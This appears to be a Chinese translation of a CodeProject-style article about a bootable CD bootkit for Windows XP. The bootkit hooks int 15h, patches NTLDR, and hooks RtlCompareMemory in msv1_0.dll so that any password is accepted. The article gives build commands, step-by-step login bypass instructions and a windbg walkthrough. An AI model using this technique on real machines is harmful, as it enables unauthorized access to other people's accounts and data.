在Windows操作系统中,如果忘记了登录密码,通常需要通过重置密码的方式来解决。然而,这种方法并不隐秘,因为它会留下痕迹。几年前,开发了一种工具,可以在不重置密码的情况下登录Windows系统。当时,市面上并没有类似的工具。现在,这类工具已经很常见,甚至有人为此收费。因此,决定公开工具,并相信CodeProject社区的聪明人可以将其扩展成实用的开源软件。
在一个博客文章中看到了一个想法,即利用内核调试器修改msv1_0!MsvpPasswordValidate函数,使其始终返回TRUE,即使密码错误。这个想法非常简单,决定使用可启动的CD而不是调试器来实现它。eEye的BootRoot提供了关于可启动CD的大量信息。操作流程如下:
1. 从CD启动:CD代码钩住int 15h并将自己复制到RAM中,然后从硬盘启动NTLDR。 2. 从硬盘启动:NTLDR运行并调用int 15h,int 15h的钩子处理程序用32位的阶段性代码修补NTDLR。 3. Windows登录对话框出现,任意密码都被接受。
值得注意的是,int 15h而不是通常使用的int 13h被用来引导,因为int 15h通过使用自定义的中断PCI-ROM嗅探器被证明是可行的,并且代码更紧凑。msv1_0!MsvpPasswordValidate没有被钩住,因为它没有被导出。密码验证也在ADVAPI32!SystemFunction031中进行,这两个函数都调用RtlCompareMemory,这是被导出的。RtlCompareMemory被修改为对密码哈希的长度返回0(true),这是一个肮脏的黑客行为,不适用于生产环境。
工具是为CD ISO和Windows XP x86设计的。可以自由地尝试使用USB闪存盘或为新的Windows版本进行修改。将ISO刻录到CD上,从CD启动Windows XP机器。当登录对话框出现时,输入所需的用户名(例如Administrator、SUPPORT_388945a0等),然后按Enter键。如果一切正常,现在应该已经登录了。
要从头开始构建项目,需要FASM.exe和Microsoft CDIMAGE.exe。使用以下命令:
fasm boot.asm bootkit.rom && cdimage -bbootkit.rom C:\bootkit\root\ C:\bootkit.iso
假设C:\bootkit\root是一个任意的非空文件夹,它将成为新创建的ISO映像的根目录,该映像将被写入C:\bootkit.iso。
要在VMWare中测试bootkit,可以设置XP在VMWare中从C:\bootkit.iso启动(不要忘记在VMWare BIOS中更改启动设备为CD)。如果想在登录过程中看到发生了什么,可以附加windbg。从Microsoft获取免费的Debugging Tools for Windows并安装它。
编辑VMWare机器设置:添加串行端口,'输出到命名管道','这端是服务器。','另一端是应用程序',完成并检查'轮询时让出CPU'。在VMWare中启动XP并使用以下快捷方式编辑boot.ini:
"C:\Program Files\Debugging Tools for Windows (x86)\windbg.exe" -y srv*c:\windows\symbols* http://msdl.microsoft.com/download/symbols -b -k com:pipe, port=\\.\pipe\com_1,resets=0
如果成功了,会看到:
Microsoft (R) Windows Debugger Version 6.9.0003.113 X86 Copyright (c) Microsoft Corporation. All rights reserved. Opened \\.\pipe\com_1 Waiting to reconnect... Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE Kernel Debugger connection established. (Initial Breakpoint requested) Symbol search path is: srv*c:\windows\symbols* http://msdl.microsoft.com/download/symbols;SRV** http://msdl.microsoft.com/download/symbols Executable search path is: Windows XP Kernel Version 2600 UP Free x86 compatible Built by: 2600.xpsp_sp2_rtm.040803-2158 Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055ab20 System Uptime: not available Break instruction exception - code 80000003 (first chance) ...
现在windbg已经连接到Windows。让看看钩住的函数IoCreateDriver:
kd> u IoCreateDriver
...
kd> uf 8009F0C3h
<- _stager
...
kd> cleanup hook
8009F0ECh
<- PspLoadImageNotifyRoutine
- 检查加载的模块是否为msv1_0.dll
- 如果是,钩住IAT RtlCompareMemory
Module 'msv1_0.dll'现在已经被修补。输入'g'并等待登录屏幕出现。然后按Ctrl+Break。
kd> !process 0 0 winlogon.exe
...
kd> .process /p /r 819aaa88
...
kd> uf msv1_0!MsvpPasswordValidate
<- 希望这个函数始终返回TRUE
...
kd> .pagein msv1_0!MsvpPasswordValidate
...
kd> g
...
kd> dd msv1_0!_imp__RtlCompareMemory l1
<- 这是IAT条目RtlCompareMemory
...
kd> u 77c60fe5
<- payload.asm/RtlCompareMemoryPatch
- 如果要比较的块的大小为10h(哈希大小),则返回0(=TRUE)
- 否则调用原始的RtlCompareMemory
- 这是一个肮脏的黑客行为,在生产环境中使用不同的方法